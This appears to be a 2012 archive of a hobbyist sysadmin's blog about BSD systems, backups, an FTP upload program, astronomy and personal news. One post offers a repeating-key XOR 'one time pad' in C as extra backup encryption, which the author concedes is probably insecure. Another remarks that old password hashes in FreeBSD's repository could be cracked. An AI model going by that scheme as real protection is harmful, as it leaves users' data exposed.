Script done on Wed May 23 15:10:07 2012

At that point I unfortunately had to kill the typescript since it was on the /usr filesystem and I needed to unmount it. What I did was something along the lines of.

umount /usr
disklabel wd0 # and do some math
export EDITOR=/bin/ed
disklabel -e wd0 # and forget some commands, but it came back to me
newfs /dev/rwd0f
cd /usr ; restore -xf /mnt/backup/j-usr.dump	# I backed up those before hand
cd /usr/X11R6 ; restore -xf /mnt/backup/j-usr-x11r6.dump
vi /etc/fstab		# take out the old parititions
shutdown -r now
In the end my partitions looked like this and I was able to continue building ports in /usr:
jupiter$ df
Filesystem  512-blocks      Used     Avail Capacity  Mounted on
/dev/wd0a      2057756    125456   1829416     6%    /
/dev/wd0d      8250780       236   7838008     0%    /tmp
/dev/wd0f     26829980  14103900  11384584    55%    /usr
/dev/wd0k    209124908  83352904 115315760    42%    /usr/local
/dev/wd0j      4122108    321792   3594212     8%    /usr/obj
/dev/wd0i      4122108   1694272   2221732    43%    /usr/src
/dev/wd0e     38273692     65532  36294476     0%    /var

Putting the ports in the right directory is becoming a real problem for me. And I've put some security of my system at risk because I took out some compartmentization.



Ordered 4 books (I know, I know)

May 27th, 2012

Now that I'm making a fairly good income I gotta put my money somewhere so I invested it into education. I bought four books that will help me with my trait. One of them is:

Building Telephony Systems...

I think SIP phones are going to be with us for a long time to come. My Grandstream even hinted that it can do IPv6 now, which I have to play with. Oh well.



World IPv6 day is soon

June 1st, 2012



Home network fully at OpenBSD 5.1

June 2nd, 2012

This morning I upgraded uranus to 5.1 and it took about 2.5-3 hours with all the packages being upgraded and such. This is usually such a pain that I don't want to run -current and wait for the OpenBSD releases every year.

Oh yes I also upgraded libcrypto after the errata for 5.1.



Venus transit approaching / clouds?

June 3th, 2012

On June 8th, 2004 I was at my parents house and my mom and I looked at the sun in a very rudamentary way. We held binoculars at the sun and used a sheet of paper on the other end to make out a tiny dot that was venus. Never look directly at the sun, or you'll have sight problems later. So on June 5th and 6th (depending where you are) Venus will transit the suns disk again and supposedly we won't see this event repeating from happening for a few generations, so it may be worth it to take a look. It looks like we'll have clouds here but there is a chance for it to clear up.

All sorts of telescopes will study venus from earth as the atmosphere will likely be illuminated by the sun and we'll see details of how thick the atmosphere may be. Who knows, there may be other science experiments that could be done. Have fun to anyone looking at this solar system event. Also have fun reading about it on the Internet, the best virtual telescope on earth. I know I will.



Solstice in 4 days

June 16th, 2012

Hi, the solstice is in four days from now. Get your celebration planned to worship the sungod, or whatever. In the southern hemisphere of course it means winter where in the northern hemisphere we'll have summer.



Congratulations to China

June 30th, 2012

Since I get chinese people looking at this blog occasionally I want to congratulate you on your spacetrip and first chinese woman in space. I was looking at the " CSS" earlier today. Pretty cool! I hope one day germany will be able to design space stations, or perhaps europe. How about on the moon!?



Going to the moon? You'll need this!

June 30th, 2012

I'm a big proponent of GW Bush's moon to mars idea. I think we should establish a base on the moon first before venturing to mars. However to needlessly spend fuel to land on the moon is pointless, you'll need this, a lunar space elevator.. Thanks to Brad Guth for implanting that idea in my head.



Fritzbox 7930 NAS too slow!

June 30th, 2012

I bought my parents a Fritzbox 7930 made by AVM. It's a nice box but it can't do everything. I think it's underpowered as I get only 4.5 MB/s writes via ftp to this thing. I get less with CIFS which prompted me to write a utility with ftplib that reads from stdin and dumps to a file via ftp. The cpu on the fritzbox is at 99% and it won't go any faster. Here is my program:

#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ftplib.h>

#define FTPUSER 	"ftpuser"
#define FTPPASS		"somepasswd"

int
main(int argc, char *argv[])
{
	char *user = FTPUSER;
	char *pass = FTPPASS;
	netbuf *nControl = NULL;
	netbuf *xControl;
	char buf[512];
	int ch;
	int len;
	
	while ((ch = getopt(argc, argv, "u:p:")) != -1) {
		switch (ch) {
		case 'u':
			user = optarg;
			break;
		case 'p':
			pass = optarg;
			break;
		}
	}

	argc -= optind;
	argv += optind;

	if (argv[0] == NULL || argv[1] == NULL) {
		perror("args -> IP file");
		exit(1);
	}

	FtpInit();
	

	if (FtpConnect(argv[0], &nControl) == 0) {
		perror("FtpConnect");
		exit(1);
	}

	
	if (FtpLogin(user, pass, nControl) == 0) {
		perror("FtpLogin");
		exit(1);
	}

	if (FtpChdir("SAMSUNG-HD154UI-01/", nControl) == 0) {
		perror("FtpChdir");
		exit(1);
	}

	if (FtpAccess(argv[1], 
		FTPLIB_FILE_WRITE, FTPLIB_IMAGE, nControl, &xControl) == 0) {
		perror("FtpAccess");
		exit(1);
	}	



	while ((len = read(STDIN_FILENO, &buf, sizeof(buf))) > 0) {
		if (FtpWrite(buf, len, xControl) < 0) {
			perror("FtpWrite");
			exit(1);
		}
	}
	
	if (FtpClose(xControl) == 0) {
		perror("FtpClose");
		exit(1);
	}

	FtpQuit(xControl);
	FtpQuit(nControl);

	exit (0);
}
Anyhow if you don't believe me watch these statistics with dump(8):
  DUMP: Date of this level 0 dump: Sat Jun 30 17:15:09 2012
  DUMP: Dumping /dev/sdb1 (/) to standard output
  DUMP: Label: none
  DUMP: Writing 10 Kilobyte records
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 158901841 blocks.
  DUMP: Volume 1 started with block 1 at: Sat Jun 30 17:15:13 2012
  DUMP: dumping (Pass III) [directories]
  DUMP: dumping (Pass IV) [regular files]
  DUMP: 0.81% done at 4273 kB/s, finished in 10:14
  DUMP: 1.64% done at 4340 kB/s, finished in 10:00
  DUMP: 2.50% done at 4416 kB/s, finished in 9:44
  DUMP: 3.37% done at 4461 kB/s, finished in 9:33
  DUMP: 4.23% done at 4485 kB/s, finished in 9:25
  DUMP: 5.10% done at 4498 kB/s, finished in 9:18
  DUMP: 5.95% done at 4499 kB/s, finished in 9:13
I'll be taking the external hardrive back to this computer for backups. Too bad.



A bit disappointed with dspam

July 6th, 2012

In May of 2011, I identified an issue with the FreeBSD mail server for the company I work for. Dspam was coring on signal 8 repeatedly. I investigated the issue and produced a workaround, it is written about here.

So then when doing upgrades just recently I noticed the signal 8's were back on the FreeBSD port, and also on the newest version of dspam. So I put my patch to good use again and the signal 8s disappeared. All in all I'm a bit disappointed that my "hint" to dspam development did not see a concrete fix and I'm sure others must be having these problems as well.



Donated 50 euros to OpenBSD

July 13th, 2012

I've been in contact with some OpenBSD developers the last few days and they managed to create a patch in the kernel that I needed. I promptly wrote Theo a transaction for 50 euros. The money should go through in the next few days. Thanks to Claudio, Henning, Otto, and if I didn't mention your name a thanks goes out to you as well.



Cloudcracker, does it make economic sense?

July 30th, 2012

Came across this from a heise.de article. And I'm thinking...this is such a waste of resources. It's contributing to global warming quite possibly just to crack a silly password.

Perhaps we need "cloudbroker" an entity that corporations sign up to and they broker access to a corporations system considering the data that would be used for a crack. It would save the economy money for one and you could give it a certain amount of penalty before the broker rats on the cracker, and then the corporation is alerted.

Now if the cloudcracker was powered 100% off-grid by solar panels, I'd like the idea.

There may be a good side to this however. If enough people use such blatant climate-killing services perhaps they will introduce low-cost, low-power quantum systems sooner than later. At that point all crypto would be mute anyhow and cryptosystems would live a renaissance most likely.



Five technologies of the future

August 2nd, 2012

Here are 10 Futuristic Technologies That Will Never Exist.

I kinda laughed reading this and thought I'd create my own that will exist. Here, then, are five technologies that I predict will make it in the future.

  1. Quantum Computers
  2. There is a lot of people working on these now with semi-successful attempts. I believe in the next 10-15 years we'll see the first desktop quantum computers.

  3. Artificial Intelligences
  4. In the future there may only be 2 types of programs. Operating Systems and Artificial Intelligences. The latter can program you anything you wish, from a game (interpreted or compiled) to a complex astronomy program.

  5. Lunar Space Elevator
  6. Unlike the Earth Space Elevator the LSE has a lot more going for it. No thunderstorms, no atmosphere that eats away at the fibres. The LSE is almost a perfect invention. And there can be 2 of them, one at the near side and one at the far side of the moon.

  7. L5 rotational space stations
  8. You know those wheels that rotate in space? Well when the LSE is finished these will also be easier to do. Mining on the moon will likely make these possible. They will be constructed of iron or steel rather than light alloys.

  9. Pseudo Time Machine
  10. If an event happens on earth and you want to look back to see the events that happened just prior you can. By placing earth observing telescopes very far away, so that light travels on the matter of hours to their mirrors you can create a "Way-back-machine" and it's due to the laws of physics (speedlimit of light) that this works.



Why I don't trust the ITU

August 4th, 2012

The Internet is a dream come true for both techs and non-techs. It revolutionized communication costs big time. This is why I do not like hearing about the ITU wanting control of the Internet.

This article from the BBC writes the following: The ITU is hosting a conference in December in Dubai to which representatives from 178 nations have been invited to review the International Telecommunications Regulations (ITR). The ITR is a 1988 treaty which set out rules for how traffic should flow between different telecom networks, and how to calculate charges for traffic exchanged between carriers in different countries.

This is why I don't like the ITU because the ITR is mainly out of date. It's people that made the Internet happen and people that drove costs down. And they did this mainly from 1995 onwards. A 1988 treaty could not have conceived of the explosiveness of the Internet's expansion.

Finally I'd like to say we're more than just customers to a telecom (who is a member of the ITU), we are the Internet. Right now as it seems to me the Internet is controlled by the US but it's in good hands. The ITU would tear us apart and raise costs.



Why landing on Mars may not be a good idea (for humans)

August 5th, 2012

Mars may be toxic. So what do you do? I have a "backup" plan for landing humans on mars. Instead of landing them on Mars itself, a craft lands on the moons Phobos or Deimos. This puts them so close to mars that a round trip time with communications between any point on mars is likely less than 500 ms. So if you think back to the movie "Avatar" there was a human commanding an avatar and sensed what the avatar sensed. I propose that we do this with robotics that land on mars instead of humans. While the humans are getting comfy on the moons (little gravity unfortunately) and controlling the robots they will have almost instant feedback of what a robot sees, hears and feels. I think this will be enough quarantine to explore Mars even if it harbours biological virii that could wipe out the human race when brought back to earth on a human. Something to think about anyhow.



The distance of mars today

August 7th, 2012

With xephem and gimp I managed to get the angle between mars-sun-earth and with a bit of trigonometry I solved how far Mars is currently from us. I used the cosine formula from this page to help me. Here is the manpulated image with gimp. I determined the angle to be 78.25 degrees.

Then I got the mean distances between sun and earth (151.7 million kilometers) and sun and mars (229.7 million kilometers). So then I had a,b and C and want to solve for c (so c^2 = b^2 + a^2 - 2ba * cos(C)). And the distance I calculated was 248.1591965 million kilometers. So then light speed between earth and mars would take 827 seconds given that lightspeed is approximately 299,792 km per second. That's 13.79 minutes!



Public letter to Sourceforge

August 11th, 2012

Date: Sat, 11 Aug 2012 20:40:37 +0200                                           
From: "Peter J. Philipp" 
To: sfnet_ops [at] geek.net
Cc: me
Subject: advertising a bit too much                                             
                                                                                
Hi,                                                                             
                                                                                
Take a look at this: http://ipv4.goldflipper.net/private/ad-trash.jpg
                                                                                
Where is there room left for my project?  Please tone down 1 of those           
ads (preferably the one on the bottom) or I will move my project offsite        
which is a shame since I've been a member for 10 years now.                     
                                                                                
I intend to make this a public letter by placing it on my blog.                 
                                                                                
-peter                                       



Left Sourceforge

August 14th, 2012

I left sourceforge.net, as I was playing around with viewvc and realised I can have my own repo served from home. The advertising on sourceforge also made me a bit mad, but what can you do it's their business model. They did agree to be targetting their ads less on my pages but it was too late for them. I have the capacity to be serving my projects without advertising and thus I'm gonna go for it. If you're looking for my projects based at sourceforge check out my cvs repository that includes commit history of everything dating back to 2002. Also the project pages that I created over the years are now found off my open source site here. That's the big news for now.



Fire in my building, Uranus is off

August 15th, 2012

There was a fire in my building. But I'm OK. Also my computers survived other than getting a coat of soot. The fire department said I had to shut my servers down until everything is settled after they let me into my apartment. However my newly migrated sources (from sourceforge) are offline for the time being. Sorry for any inconvenience.



6-8 Weeks

August 17th, 2012

Unfortunately the fire that ran through my building caused my apartment to be unliveable. It will be restored in 4-6 weeks. Since this affects uranus which is off now, I have moved all dns and mail operations over to io.solarscale.de and goldflipper.net. This is the downside of doing email at home I guess, but fires didn't happen for a long time and are in all in all a rare event. I'm just glad I got a bit of time off work to get everything organized again.



Pictures from my Fire-aftermath

August 19th, 2012

Here are some pictures:

No fun!



Four more weeks of summer

August 25th, 2012

Summer is coming to an end...slowly.

Can't wait for Fall!



Goodbye Moon-man! RIP.

August 25th, 2012

Neil Armstrong has died. For many an inspiration!

I'm a firm believer the USA landed on the moon not just once but six times. Unfortunately back then the lunar program was not sustainable and they had to cease going there. Pity still.



Steganography: It doesn't have to be criminals using it

August 29th, 2012

This BBC article caught my attention. If you take a close look on my website (probably under private) then you may notice steganographic content. I've been doing this for a while now. If you can't see it, that's the point :-).



How not to succeed (in trojan programming)

September 3rd, 2012

The german BKA seeks a trojan programmer. The BKA is the german equivalent of the american FBI. Let me brainstorm for you why this job is a dead end job, with no chance to grow.

And a multitude of ethics come into play. Whose side are you on anyway? I know this job isn't for me judging by the job-ad.



Registered a new domain

September 4th, 2012

I have registered a new domain. It will eventually replace goldflipper.net. It's name is virgostar.net. When I was born virgo was the constellation in the night sky. The virgo star spica was surrounded on both sides by a full moon and uranus, but when I was born I became a pisces. Yesterday when I registered virgostar.net the constellation virgo rose in the east at 10 AM and the constellation pisces had the almost full moon in it. These were just some celestial observances I made with stellarium (with which you can adjust the date).

Also I'm going to be naming my computers after stars when I'm done with the planets, so this is a fitting domain just like solarscale.de domain was fitting with the planets. BTW I currently have control of six domains, probably a bit too many but I like them all.



IPv4 Addresses Almost Exhausted in Europe

September 4th, 2012

This is the announcement from RIPE. Perhaps it's time to speed up IPv6 deployment.



Could one of my dreams come true?

September 8th, 2012

Privately I had been dreaming of an optical computer. Photonics would do what electrons do in conventional computers. I imagine speed at room temperature and minimal energy (electricity) draw.

Now, my dream seems to have seeded in reality. See here.

Here is a good explanation of a NAND gate, notice it's functionally complete meaning you can create all other types of gates with this (AND, OR, XOR, and negated counterparts). Hats off Mr. Ritesh Agarwal for leading development in an optical NAND gate!



Ordered OpenBSD 5.2 from Lehmanns.de

September 9th, 2012

Instead of ordering from OpenBSDEurope (sorry) I ordered from lehmanns.de this time. I'm saving money as it's only 39.95 euros there. And I can pay on delivery, and no shipping charges.



Purchased/Leased a new VPS

September 10th, 2012

In this blog article I fantasize about having a third VPS in Singapore. Well, I got one. Not in Singapore but in Hong Kong which is right around the corner network speaking. This opens up a whole new arena for me. I'm now entering the Asia Pacific market, whereas I had Europe and the Americas to this day. I'm using vr.org as my hosting provider and I've never heard anything about them before so this is sorta a new step.

Here are some facts about this new VPS:

I'll be naming this VPS moon.virgostar.net, and it'll likely show up first as a nameserver on the internet. Eventually I want it to serve web pages too. Oh well. Today is a great day (for me!).



It's alive!

September 14th, 2012

I have provisioned, deployed and configured my new VPS in Hong Kong. Currently it mirrors my website. If you go to ap.centroid.eu (ap stands for Asia-Pacific), you'll be seeing the usual website and blog. I can now work on bettering my website a little.



My mom doesn't like Ubuntu 12.04

September 15th, 2012

My dad accidentally upgraded our 10.04LTS Ubuntu to 12.04LTS and my mom didn't like the upgrade at all. So today I "downgraded" back to 10.04LTS and my mom is happy again despite losing all her email. The reason she lost her email is because you can upgrade evolution but not downgrade it, so the mails had to pay. I'm also glad to be back at 10.04 I didn't want to pay the 92 euro upgrade to VMware workstation 9 just so that it would work on 12.04.



Equinox in 4 days

September 18th, 2012

September Equinox is upon us again. The northern hemisphere is entering autumn, the southern hemisphere is entering spring. At equinox a pole at the equator placed at 90 degrees and at high noon will not cast a shadow, other than upon itself. As time progresses after the equinox the sun will favour the tropic of capricorn over the tropic of cancer until the next march equinox.

Perhaps you will celebrate this earth event. I will somewhat.



What if you don't have the "right stuff" to be a politician?

September 19th, 2012

Nonsense! In a democracy anyone can go become a politician and anyone can vote for them. If they are clumsy in their job after that they likely won't be voted for again. However the tabloit "Der Spiegel" seems to think different, and I want to remind them that this is a dangerous path to be on. They say and I quote: "Enstanden ist ein Portraet von jungen Berliner Politikern, die eigentlich keine Politiker sind - oder gar nicht das Zeug dazu haben.". So explain what a politician is? Must you come from a "political studies" background where you attended an elite-university? I say ridiculous! How up-in-the-air is that? You have no such thing as "Volksnaehe" then (Volksnaehe means closeness of the people). I understand that these words "Der Spiegel" are using are just to discredit the Pirate Party of Germany, and don't tell me they haven't done so I've seen the sneer comments about the Pirates. Oh so the pirates have lost some ground, whoopeedoo! Somewhere, some other party is still missing their 6% of voters though! And that's enough to topple Mrs. Merkel or keep her on, sorry to put it on the table, but I think the pirate party is the decisive factor whether germany gets a red-green or a red-black parliament. Either way we may see Merkel again one more term. Rant, off.



What would you do?

September 19th, 2012

Since 1998 until 2012 the wealth distribution of the richest 10% in Germany rose from 45 percent of all wealth in germany to 53 percent. A staggering 8 percent rise. This also means that the other 90% of people have 8 percent less of total distribution. These facts came from page 8 of the Schweinfurter Tagblatt newspaper on Wednesday, September 19th, 2012.

If I was dictator of germany I'd immediately tax the rich more. But that isn't enough because that only makes government richer, the funds do not necessarily reach the people. I'd introduce a minimum wage to give the poorest a boost almost at once. Yes you heard right, to this day there is no minimum wage in germany. Then I'd invest in social programs for the poor, done in such a way that it benefits the poor more than the rich, and is long lasting. Easier said than done, but I'd give it a shot anyhow.



Privacy: they know who you are anyways

September 21st, 2012

Ever since I had a fire in my apartment building I've been couching at my parents house. I noticed that youtube and google know exactly who I am whenever I return to their site. Even the same banners over and over on slashdot revealed to me that they can track me. The big difference between my house and my parents house is that they have a dynamic IP address and I have a static IP. So what's the difference? With a static IP I even get to run a "server" doing my own mail and knowing that my mail isn't kept on some shady server somewhere, it's right at home instead. The privacy with a static IP is protected more I'd argue than with a dynamic IP. This surprises even me.



This is how I left summer behind

September 23rd, 2012

On a ship, on the river Danube. Goodbye Summer! See you later! Hello Autumn!



Old --> New

September 23rd, 2012

I exchanged the first picture with the second picture in my private section of my webpage centroid.eu.

Even though I could lose a few lbs I think I'm still a pretty lad.



Purchased online-backup storage

September 30th, 2012

September seems to be a purchasing month for me. I have purchased 20 GB of online storage (at 1.49 euros per month) from strato.de. They are located in Berlin and I intend to use them as a temporary storage for my VPS.

On mondays I'll back up moon.virgostar.net, on wednesdays I'll back up goldflipper.net and on fridays I'll back up io.solarscale.de or something of this order. On the days inbetween those backups I'll download the images home on my harddrive. I think something of the order of 700 GB max will flow between me and this backup storage (per month). Should be worth it.



Bad Cryptography: a one time pad

October 1st, 2012

When I put my backups on the online storage I "encrypt" the file twice. Once with AES 256 in CBC mode and once with a one time pad that unfortunately repeats so it's supposedly insecure. I want to share this one time pad with you as it's derived from the one time pad at hackepedia.

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BLOCKSIZE       512

int
main(int argc, char *argv[])
{
 uint64_t count = 0;
 int keylen;
 char *key;
 u_char c[BLOCKSIZE];
 struct stat sb;
 char *ch;
 int fd, len, i;

 if (argc != 2) {
  fprintf(stderr, "must provide a keyfile\n");
  exit(1);
 }

 if (lstat(argv[1], &sb) < 0) {
        perror("lstat");
        exit(1);
 }

 fd = open(argv[1], O_RDONLY, 0);

 if (fd < 0) {
        perror("open");
        exit(1);
 }

 if ((ch = mmap(NULL, sb.st_size, PROT_READ, MAP_FILE|MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(1);
 }

 while ((len = read(STDIN_FILENO, c, sizeof(c))) > 0) {

        for (i = 0; i < len ; i++) {
                c[i] ^= ch[count % sb.st_size];
                count++;
        }

        write(STDOUT_FILENO, c, len);
 }

 munmap(ch, sb.st_size);
 close(fd);

 return 0;
}

When I back up then it looks something like this in a pipeline

tar -cf - /data | ./onetime onetimefile | openssl enc -e -aes-256-cbc -kfile kfile  \
| gzip -c | upload-program
I am gambling somewhat whether this is secure, but I'd feel a little naked with just an AES-CBC encryption.



The big smoggies...VPS's though?

October 2nd, 2012

Internet datacenters are big smoggies. Often servers sit there idling doing nothing but waiting to take over a redundancy task. I'd just like to say that my VPS network that I have created is on a X users shared basis, where more than one customer resides on a server. They each borrow from the other in terms of resources. And that's why I don't run permanent load on my vps's because it suits the other guy as well. And in the end we have more than just an idle server. We have a community on that server. And it's greener than me going out and putting up a colo or a "root server" (dedicated).

The new york times wrote about that all computers on the internet use up enough electricity for 30 nuclear power plants. Not all of that electricity comes from green electricity but carbon oxided emissions such as coal. The way we use the internet is not sustainable ... virtualization helps though if only a little.



My top 8 genres in my iTunes collection

October 5th, 2012

Here is who I threw money at in the last 10 years. Each song is about 99 cents worth. The way I did this was select all songs in itunes and pasted the titles in an editor file. This file I then uploaded to a Unix computer and did the following command.

# awk '{print $(NF - 1)}' music.txt| grep -v [0-9] | sort | uniq -c | sort -r | head -8
 125 Reggae
  33 Hip-Hop/Rap
  22 Filmmusik
  19 Weltmusik
  17 Rock
  11 Pop
   7 Sound
   7 R&B

However I get most other music from youtube, until I decide to give the artist a bit of money.



One computer per year

October 11th, 2012

I've done some planning and I've come to the conclusion that I need one more computer per year until 2016. See my computing history from april. Here is how I think it will go down:

  1. in 2013, I'm going to buy Gaia a mac mini most likely, I need this for my new stand up table, I'll see if I can switch Saturn my netbook to OpenBSD then
  2. in 2014, I'm going to retire mars (G4 Cube) and make Gaia its replacement, I'm also going to retire Jupiter which will be 4 years old and buy a replacement and call this Venus. Venus should have over 8 GB RAM but a power saving cpu.
  3. in 2015, I'm likely going to need a laptop perhaps, I'll call this Mercury
This basically puts me on track since 2010 for 1 new computer per year, I think I'm crazy perhaps (well I knew that). Since electricity in Germany is going to get more expensive, it is good then that I retire Mars and I'm hoping for Gaia to be power saving (at max cpu 85 watts apple says, but no indicator of idle power). Also Jupiters replacement, Venus should be power saving this will save me a bundle of money. I'm considering putting 1500 euros per year aside for these "toys", and since I'm not married yet I don't have to worry about supporting the kids ;).



Seti@home has failed

October 13th, 2012

I got this in the mail the other day:

We need your help to continue the Search for Extraterrestrial Intelligence!
I guess the millions of people contributing computer cycles over the last 15 years is not enough anymore. Now the organization wants money. I think this is the wrong approach. Look, they got millions of people happily contributing on a client-server setup. Their servers are failing and they can't get more and they ask for money (which they likely won't get). It's time to make seti@home peer-to-peer. Figure out a way and people shall follow by installing the software. And the 'net will be better for it. That's my 2 cents.



Two algorithms for rate-limiting

October 17th, 2012

I thought of these myself last night, please provide comments if you have another idea.

2 rate limiting algorithms
--------------------------

Pretend you want to rate limit 3 packets per 6 seconds on the Internet.
I have thought of two ways to do this, one using 1 timestamp and a counter,
and the other using several timestamps and a counter which is more accurate.

First way
---------

When you have a packet arriving you take the timestamp of it.  For the next
six seconds you can take on 2 more packets.  Once the six seconds expired
you save the new timestamp and allow 3 more packets.  This has the drawback
that you can fire off a packet, wait 5 seconds and fire off 2 more, then when
the sixth second is passed you send off 3 more packets so in 7 seconds you can
fire off 6 packets which isn't exactly what the rate of packets per second
says.  However given 12 seconds it averages out because you wait 5 seconds from
those passed 7 seconds and don't allow anymore packets during that time.  Then
on the 13th second you can fire off 3 more packets.

Second way
----------

To alleviate the "burst" problem of above you can add more memory resources
and add more timestamps.  You allocate 3 timestamps for 3 packets per 6 seconds.
Then you make two counters.  One for the position of the last timestamp and
one for the amount of packets that passed.  So then when you start this
you send a packet and it saves the timestamp in timestamp[counter1] it then
increases counter1 and counter2.  Next packet comes in a second later, it
checks timestamp[counter1 - counter2] if it has been under 6 seconds then
add the timestamp to timestap[counter1] and increase both counter1 and
counter2. 5 seconds later another packet comes in, the first timestamp is now
"expired" and gets set to 0, also counter2 gets decreased by one.  This 
ensures that we know how many timestamps exist.  We then check 
timestamp[counter1 - counter2] and if the offset in time is under 6 seconds
then we add another timestamp in timestamp[counter1].  The tricky part is
to deal with wrap-arounds.  Ie. if you have 3 timestamps you can only fill
timestamp[0], timestamp[1], timestamp[2] before going back to timestamp[0],
which likely has been blanked otherwise the packet is dropped.

I invite you to provide clarifications and addendums,

-peter
:-)



A Planet around Alpha Centauri-B

October 18th, 2012

News reached us of a planet around Alpha Centauri B with a few properties. It is around 1% of one AU far from AC-B. That makes me think it's tidally locked. Tidally locked means that only one part of the planet faces the star. Sorta like our moon is tidally locked with our earth. So then they say the surface temperature is 1200 degrees Celsius. But what's the temperature on the far side? Since Alpha Centauri is a tri-star system there is 2 more stars that can light the far side. However AC-A and Proxima Centauri are too far away (over 11 AU) and would probably not heat the surface much. So then the questions comes up, if there is an atmosphere because an atmosphere could spread heat around the far side, kinda like what's happening on Venus. If there is no atmosphere there is probably not life as we know it but the far side could be cool(er). Because the orbit is 3.2 days around AC-B , the far side would be in view of AC-A 50% of the time, meaning there is a day-night cycle every 78 hours or so, so 38 hours day and the rest night. I think this is an interesting exoplanet, and we can only hope to see more about it in the news to come.



Digits of Pi

October 18th, 2012

I wish they would have explained how to calculate the digits of Pi. Because who can remember a constant number? It would have made a great computer class.



NetBSD 6.0 was released yesterday

October 19th, 2012

Congratulations to that team. R.I.P. to who it was dedicated to. Here is the NetBSD home page or just follow one of the links all over this blog.



EuroBSDCon 2012 starts tomorrow

October 19th, 2012

EuroBSDCon 2012 starts tomorrow in Warsaw, Poland. I won't be going there this year but it's hard to believe that it's been a little over a year since EuroBSDCon 2011 near Amsterdam.

OpenBSD will likely add a few more papers of talks held at EuroBSDCon 2012, and I always check for those, as they're usually interesting.



FreeBSD repository now has CSRG in svn

October 20th, 2012

The FreeBSD repo now has the CSRG revisions in it's SVN. And they made a blooper. If you're interested in what peoples first dogs name was then you can crack these passwords. Remember this is from the late 80's and early 90's where people still thought DES was secure or didn't understand that their password would follow them to 2012 where cracking with dictionary attack tools such as John the Ripper exist, and were are widely successful. Now I'm not saying you should crack these passwords but if you wanted to then you could.



Very satisfied with the new Mac Mini (not bought yet)

October 24th, 2012

Yes, Apple has released a new Mac Mini. It has USB3 and a more powerful processor. Both I like. It also accepts 16 GB of RAM. That I like and I want to max my Mac Mini when I get it.

Mac mini specs



In five days I'll be making a great announcement

October 26th, 2012

I'm not going to go into details but I can hardly wait in anticipation. I have told a few people already and some think I'm nuts and others think I'm brave.



Big Donation to OpenBSD

October 28th, 2012

OK, this is the big announcement, it's a bit early but I need to visit my bank tomorrow so I want to give them the transaction then. Call this the Halloween donation just in time for the November 1st OpenBSD 5.2 release. The amount is for a staggering 411 Euros. This brings this years donations to 511 euros. I don't want anything in return other than the recognition on the OpenBSD donations page, which I'm already listed on so this doesn't make a change. Take it this way. I use OpenBSD at work, and without OpenBSD I would have no work, so this is justified to me. Thanks OpenBSD. Future donations will be more or less depending on my income.

I put OpenSMTPD on the purpose of the transaction, because they have been very kind with me, but this money isn't solely for them but OpenBSD in general.



Halloween Germany 2012

October 31st, 2012

Hooooooooo! Hooooooo! Scary movie! No! It's Halloween in Schweinfurt. Here is some pictures, including our first trick'o'treaters.


These guys look pretty scary!



OpenBSD 5.2 Release day!

November 1st, 2012

Today OpenBSD 5.2 gets released. Because it is headquartered in Canada the announce may come a bit later as here in Europe we're a few hours ahead of them. Here is the release page, it has all information that you need to download or order OpenBSD 5.2. I personally have used and bought OpenBSD since the 2.5/2.6 days where my personal OpenBSD workstation was called geeklab.globalserve.net in 1997. Today OpenBSD is much more secure than it was back then which is good since OpenBSD focuses on security (but not just! but also functionality and openness). Why is it important to be secure, yet functional? Well when you're faced with securing something often you disable the service completely which is the opposite of functional. In OpenBSD services are secured by a multitude of attack prevention mechanisms. You may want to look at strlcpy/strlcat which was among the first changes that OpenBSD did. And then there is W^X (W xor X) and ottomalloc which are supposed to prevent stack and heap overflow attacks. Before I bore you, I'll just say "It's celebration day!" and leave you with that. Finally congrats to the OpenBSD'ers who made it all happen.



Kaspersky Anti-Virus 2012 blocks my captchas

November 4th, 2012

Today I wanted to write a blog comment on my own blog and found that the captcha images didn't load completely rendering them useless. So after searching for 2 hours around my system, the net and my parents home network I was able to isolate the error to my workstation which is windows 7 - 64 bit. My moms Linux on the same LAN rendered the image fine. I tested this on 3 sorts of browsers (Safari, Firefox, and IE) and everytime it was blocked. So someone asked me to turn firewall off and that didn't do it, and then I as a test turned web inspection off on the AV 2012 and the image loaded.

So now I've sent Kaspersky a support email to look into this.



The Main river produces 118 MW electricity

November 5th, 2012

I got a list of power generation stations of the Main river from the german wikipedia, and this is how I got to the result:

$ history
1       more main.txt
2       awk '{print $NF}' main.txt | grep [0-9] | tr -d . \
| awk '{total += $0} END {printf("total: %ld\n", total);}'
 END {printf("total: %ld\n", total);}'                                        <
total: 118640
Now this is probably only the peak draw, however judging from the flow of water through the turbines in Schweinfurt it's pretty steady all the time.



Purchasing a Mac Mini

November 7th, 2012

Tomorrow I'm going to purchase a Apple Mac Mini. It'll be the faster version with 16 GB (maxed) RAM. On monday when I got a quote from the store I'm buying it from said they won't get them delivered until next week, so I'll have to wait a little but the purchase goes out tomorrow.

I'm buying this computer for a new stand-up desk that I'm also going to purchase so I'm going to eventually buy a new monitor as well.



My C Primer hits 20,000 views

November 10th, 2012

Over night, the counter to my C Primer will turn to 20,000. Thank you to all who read it. It took a little under a year to do the second 10K. That's an average of 29 or so per day. Also we're nearing 1 million views on Hackepedia itself, which is a great feat. I'll make another announcement when that happens (probably around December 1st).



Citation needed(tm)

November 13th, 2012

Wikipedia is back to fundraising. I won't be donating any money to them this year because I'm still peeved off that a contribution of mine to wikipedia has been censored/retracted. There exists some real bureaucracy in wikipedia, and it needs to change otherwise people will look elsewhere, or even fork.



Why Open Source works (reiterate my point)

November 20th, 2012

I have a success story to tell you, well partially. While someone else is programming driver support into my netbook's (saturn) internal wifi, I went out and bought a wireless dongle. To my shock it wasn't supported with OpenBSD and then I did what any half-clued would do.. that is to see if I can hack support into it. And it worked.



The Space Program(tm)

November 21st, 2012

So in my eyes Europe has lost out. They cancelled the moon rover and went ahead with the Ariane 5ME. And the winner is? Commercial US space programs. It was Elon Musk of Space X that said Ariane 5 can't compete with the Falcon 9 and heavy Falcon rockets. Apparently the world agrees as Space X has 4 dozen outstanding contracts to deliver satellites to orbit.

In my eyes Mars is interesting but not _that_ interesting. The moon is the ugly gem. What we need as the human race is manufacturing on the moon. Only from the moon can we make it beyond earth orbit. Putting up material from earth is too expensive, so I see the moon is similar to a VPS on the Internet, if it can sustain itself via remote control then everything is alright.

